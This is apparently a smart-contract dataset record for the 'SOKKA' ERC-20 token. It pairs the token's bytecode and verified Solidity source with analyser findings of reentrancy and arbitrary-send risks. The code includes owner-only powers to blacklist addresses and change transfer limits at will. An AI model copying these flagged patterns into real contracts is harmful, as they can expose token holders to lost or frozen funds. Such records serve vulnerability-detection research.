b60405180910390fd5b5060008385611c83919061328a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce060028461216e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0b573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5c60028461216e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d87573d6000803e3d6000fd5b5050565b6000600654821115611dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc990612f13565b60405180910390fd5b6000611ddc6121e5565b9050611df1818461216e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e855781602001602082028036833780820191505090505b5090503081600081518110611ec3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6557600080fd5b505afa158015611f79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f9d9190612940565b81600181518110611fd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a295949392919061308e565b600060405180830381600087803b1580156120bc57600080fd5b505af11580156120d0573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121065760009050612168565b600082846121149190613230565b905082848261212391906131ff565b14612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a90612f93565b60405180910390fd5b809150505b92915050565b60006121b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612210565b905092915050565b806121c6576121c5612273565b5b6121d18484846122a4565b806121df576121de61246f565b5b50505050565b60008060006121f2612481565b91509150612209818361216e90919063ffffffff16565b9250505090565b60008083118290612257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224e9190612ed1565b60405180910390fd5b506000838561226691906131ff565b9050809150509392505050565b600060085414801561228757506000600954145b15612291576122a2565b600060088190555060006009819055505b565b6000806000806000806122b6876124dd565b95509550955095509550955061231486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f5816125ed565b6123ff84836126aa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161245c9190613073565b60405180910390a3505050505050505050565b60056008819055506005600981905550565b600080600060065490506000662386f26fc1000090506124b3662386f26fc1000060065461216e90919063ffffffff16565b8210156124d057600654662386f26fc100009350935050506124d9565b81819350935050505b9091565b60008060008060008060008060006124fa8a6008546009546126e4565b925092509250600061250a6121e5565b9050600080600061251d8e87878761277a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2c565b905092915050565b600080828461259e91906131a9565b9050838110156125e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125da90612f53565b60405180910390fd5b8091505092915050565b60006125f76121e5565b9050600061260e82846120f390919063ffffffff16565b905061266281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bf8260065461254590919063ffffffff16565b6006819055506126da8160075461258f90919063ffffffff16565b6007819055505050565b6000806000806127106064612702888a6120f390919063ffffffff16565b61216e90919063ffffffff16565b9050600061273a606461272c888b6120f390919063ffffffff16565b61216e90919063ffffffff16565b9050600061276382612755858c61254590919063ffffffff16565b61254590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279385896120f390919063ffffffff16565b905060006127aa86896120f390919063ffffffff16565b905060006127c187896120f390919063ffffffff16565b905060006127ea826127dc858761254590919063ffffffff16565b61254590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281661281184613128565b613103565b9050808382526020820190508285602086028201111561283557600080fd5b60005b85811015612865578161284b888261286f565b845260208401935060208301925050600181019050612838565b5050509392505050565b60008135905061287e81613766565b92915050565b60008151905061289381613766565b92915050565b600082601f8301126128aa57600080fd5b81356128ba848260208601612803565b91505092915050565b6000813590506128d28161377d565b92915050565b6000815190506128e78161377d565b92915050565b6000813590506128fc81613794565b92915050565b60008151905061291181613794565b92915050565b60006020828403121561292957600080fd5b60006129378482850161286f565b91505092915050565b60006020828403121561295257600080fd5b600061296084828501612884565b91505092915050565b6000806040838503121561297c57600080fd5b600061298a8582860161286f565b925050602061299b8582860161286f565b9150509250929050565b6000806000606084860312156129ba57600080fd5b60006129c88682870161286f565b93505060206129d98682870161286f565b92505060406129ea868287016128ed565b9150509250925092565b60008060408385031215612a0757600080fd5b6000612a158582860161286f565b9250506020612a26858286016128ed565b9150509250929050565b600060208284031215612a4257600080fd5b600082013567ffffffffffffffff811115612a5c57600080fd5b612a6884828501612899565b91505092915050565b600060208284031215612a8357600080fd5b6000612a91848285016128c3565b91505092915050565b600060208284031215612aac57600080fd5b6000612aba848285016128d8565b91505092915050565b600060208284031215612ad557600080fd5b6000612ae3848285016128ed565b91505092915050565b600080600060608486031215612b0157600080fd5b6000612b0f86828701612902565b9350506020612b2086828701612902565b9250506040612b3186828701612902565b9150509250925092565b6000612b478383612b53565b60208301905092915050565b612b5c816132be565b82525050565b612b6b816132be565b82525050565b6000612b7c82613164565b612b868185613187565b9350612b9183613154565b8060005b83811015612bc2578151612ba98882612b3b565b9750612bb48361317a565b925050600181019050612b95565b5085935050505092915050565b612bd8816132d0565b82525050565b612be781613313565b82525050565b6000612bf88261316f565b612c028185613198565b9350612c12818560208601613325565b612c1b8161345f565b840191505092915050565b6000612c33602383613198565b9150612c3e82613470565b604082019050919050565b6000612c56602a83613198565b9150612c61826134bf565b604082019050919050565b6000612c79602283613198565b9150612c848261350e565b604082019050919050565b6000612c9c601b83613198565b9150612ca78261355d565b602082019050919050565b6000612cbf601d83613198565b9150612cca82613586565b602082019050919050565b6000612ce2602183613198565b9150612ced826135af565b604082019050919050565b6000612d05602083613198565b9150612d10826135fe565b602082019050919050565b6000612d28602983613198565b9150612d3382613627565b604082019050919050565b6000612d4b602583613198565b9150612d5682613676565b604082019050919050565b6000612d6e602483613198565b9150612d79826136c5565b604082019050919050565b6000612d91601783613198565b9150612d9c82613714565b602082019050919050565b6000612db4601183613198565b9150612dbf8261373d565b602082019050919050565b612dd3816132fc565b82525050565b612de281613306565b82525050565b6000602082019050612dfd6000830184612b62565b92915050565b6000604082019050612e186000830185612b62565b612e256020830184612b62565b9392505050565b6000604082019050612e416000830185612b62565b612e4e6020830184612dca565b9392505050565b600060c082019050612e6a6000830189612b62565b612e776020830188612dca565b612e846040830187612bde565b612e916060830186612bde565b612e9e6080830185612b62565b612eab60a0830184612dca565b979650505050505050565b6000602082019050612ecb6000830184612bcf565b92915050565b60006020820190508181036000830152612eeb8184612bed565b905092915050565b60006020820190508181036000830152612f0c81612c26565b9050919050565b60006020820190508181036000830152612f2c81612c49565b9050919050565b60006020820190508181036000830152612f4c81612c6c565b9050919050565b60006020820190508181036000830152612f6c81612c8f565b9050919050565b60006020820190508181036000830152612f8c81612cb2565b9050919050565b60006020820190508181036000830152612fac81612cd5565b9050919050565b60006020820190508181036000830152612fcc81612cf8565b9050919050565b60006020820190508181036000830152612fec81612d1b565b9050919050565b6000602082019050818103600083015261300c81612d3e565b9050919050565b6000602082019050818103600083015261302c81612d61565b9050919050565b6000602082019050818103600083015261304c81612d84565b9050919050565b6000602082019050818103600083015261306c81612da7565b9050919050565b60006020820190506130886000830184612dca565b92915050565b600060a0820190506130a36000830188612dca565b6130b06020830187612bde565b81810360408301526130c28186612b71565b90506130d16060830185612b62565b6130de6080830184612dca565b9695505050505050565b60006020820190506130fd6000830184612dd9565b92915050565b600061310d61311e565b90506131198282613358565b919050565b6000604051905090565b600067ffffffffffffffff82111561314357613142613430565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b4826132fc565b91506131bf836132fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f4576131f36133d2565b5b828201905092915050565b600061320a826132fc565b9150613215836132fc565b92508261322557613224613401565b5b828204905092915050565b600061323b826132fc565b9150613246836132fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327f5761327e6133d2565b5b828202905092915050565b6000613295826132fc565b91506132a0836132fc565b9250828210156132b3576132b26133d2565b5b828203905092915050565b60006132c9826132dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061331e826132fc565b9050919050565b60005b83811015613343578082015181840152602081019050613328565b83811115613352576000848401525b50505050565b6133618261345f565b810181811067ffffffffffffffff821117156133805761337f613430565b5b80604052505050565b6000613394826132fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c7576133c66133d2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376f816132be565b811461377a57600080fd5b50565b613786816132d0565b811461379157600080fd5b50565b61379d816132fc565b81146137a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7725d0a683a43dc6755415a09ad099b3a71a356b21788f3a2813a088f2d8c5164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,206
0x531f14af074f216420c39dff3dd202de589784ac
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ /** //SPDX-License-Identifier: UNLICENSED Telegram: https://t.me/SokkaETH Twitter: https://twitter.com/SokkaToken Website: https://sokkaeth.com */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SOKKA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 11; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "SOKKA"; string private constant _symbol = "SOKKA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 30_000_000_000 * 10**9; uint256 private _maxWalletAmount = 40_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf914610468578063d94160e01461047d578063dd62ed3e146104ad578063f4293890146104f357600080fd5b8063b515566a14610408578063c024666814610428578063c0a904a21461044857600080fd5b8063715018a61461037557806381bfdcca1461038a57806389f425e7146103aa5780638da5cb5b146103ca57806395d89b41146101ba578063a9059cbb146103e857600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102e55780635932ead114610315578063677daa571461033557806370a082311461035557600080fd5b8063313ce5671461027c57806349bd5a5e1461029857806351bc3c85146102d057600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101ee57806318160ddd1461021e57806323b872dd1461023a578063273123b71461025a57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b506040805180820182526005815264534f4b4b4160d81b602082015290516101b19190611cce565b3480156101fa57600080fd5b5061020e610209366004611b5f565b610508565b60405190151581526020016101b1565b34801561022a57600080fd5b50683635c9adc5dea000006101a7565b34801561024657600080fd5b5061020e610255366004611af2565b61051f565b34801561026657600080fd5b5061027a610275366004611a82565b610588565b005b34801561028857600080fd5b50604051600981526020016101b1565b3480156102a457600080fd5b506011546102b8906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102dc57600080fd5b5061027a6105dc565b3480156102f157600080fd5b5061020e610300366004611a82565b60056020526000908152604090205460ff1681565b34801561032157600080fd5b5061027a610330366004611c51565b610615565b34801561034157600080fd5b5061027a610350366004611c89565b61065d565b34801561036157600080fd5b506101a7610370366004611a82565b61068c565b34801561038157600080fd5b5061027a6106ae565b34801561039657600080fd5b5061027a6103a5366004611c89565b610722565b3480156103b657600080fd5b5061027a6103c5366004611c89565b610751565b3480156103d657600080fd5b506000546001600160a01b03166102b8565b3480156103f457600080fd5b5061020e610403366004611b5f565b610780565b34801561041457600080fd5b5061027a610423366004611b8a565b61078d565b34801561043457600080fd5b5061027a610443366004611b32565b610831565b34801561045457600080fd5b5061027a610463366004611b32565b610886565b34801561047457600080fd5b5061027a6108db565b34801561048957600080fd5b5061020e610498366004611a82565b60066020526000908152604090205460ff1681565b3480156104b957600080fd5b506101a76104c8366004611aba565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104ff57600080fd5b5061027a610cc6565b6000610515338484610cf0565b5060015b92915050565b600061052c848484610e14565b61057e843361057985604051806060016040528060288152602001611e9f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125a565b610cf0565b5060019392505050565b6000546001600160a01b031633146105bb5760405162461bcd60e51b81526004016105b290611d21565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b0316146105fc57600080fd5b60006106073061068c565b905061061281611294565b50565b6000546001600160a01b0316331461063f5760405162461bcd60e51b81526004016105b290611d21565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106875760405162461bcd60e51b81526004016105b290611d21565b601255565b6001600160a01b03811660009081526002602052604081205461051990611439565b6000546001600160a01b031633146106d85760405162461bcd60e51b81526004016105b290611d21565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461074c5760405162461bcd60e51b81526004016105b290611d21565b601355565b6000546001600160a01b0316331461077b5760405162461bcd60e51b81526004016105b290611d21565b600b55565b6000610515338484610e14565b6000546001600160a01b031633146107b75760405162461bcd60e51b81526004016105b290611d21565b60005b815181101561082d576001600760008484815181106107e957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082581611e34565b9150506107ba565b5050565b6000546001600160a01b0316331461085b5760405162461bcd60e51b81526004016105b290611d21565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016105b290611d21565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016105b290611d21565b601154600160a01b900460ff161561095f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b2565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561099c3082683635c9adc5dea00000610cf0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d557600080fd5b505afa1580156109e9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611a9e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5557600080fd5b505afa158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8d9190611a9e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0d9190611a9e565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610b718161068c565b600080610b866000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610be957600080fd5b505af1158015610bfd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c229190611ca1565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c8e57600080fd5b505af1158015610ca2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d9190611c6d565b600e546001600160a01b0316336001600160a01b031614610ce657600080fd5b47610612816114bd565b6001600160a01b038316610d525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b2565b6001600160a01b038216610db35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105